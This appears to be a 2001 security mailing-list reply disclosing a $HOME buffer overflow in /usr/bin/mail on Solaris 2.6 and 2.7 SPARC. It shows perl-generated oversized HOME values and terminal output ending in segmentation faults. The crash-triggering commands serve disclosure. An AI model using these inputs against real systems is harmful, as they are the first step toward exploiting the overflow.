Re: $HOME buffer overflow in SunOS 5.8 x86

From: SChoe (schoeat_private)
Date: Tue Jun 05 2001 - 17:56:49 PDT

  • Next message: Tohru Watanabe: "Re: $HOME buffer overflow in SunOS 5.8 x86"

    > Solaris/sparc appears not to be vulnerable.
    
    Solaris 2.6/2.7 SPARC are also susceptable
    to /usr/bin/mail buffer overflow.  Here are
    the minimum buffer's usable to produce
    segmentation faults.
    
    <---------------------snip--------------------->
    SunOS <hostname> 5.6 Generic_105181-23 sun4u sparc
    bash-2.04$ export HOME=`perl -e 'print "A"x1293'`
    bash-2.04$ mail a
    ^C
    mail: Cannot create dead.letter
    mail: ERROR signal 11
    mail: Cannot create dead.letter
    mail: ERROR signal 11
    mail: Cannot create dead.letter
    mail: ERROR signal 11
    (........)
    Segmentation Fault
    bash-2.04$
    <---------------------snap--------------------->
    
    <---------------------snip--------------------->
    SunOS <hostname> 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-4
    
    bash-2.04$ export HOME=`perl -e 'print "A"x1099'`
    bash-2.04$ mail a
    ^C
    mail: ERROR signal 10
    mail: ERROR signal 10
    mail: ERROR signal 10
    mail: ERROR signal 10
    (........)
    Segmentation Fault
    bash-2.04$
    <---------------------snap--------------------->
    
    +--------------------------------------------------+
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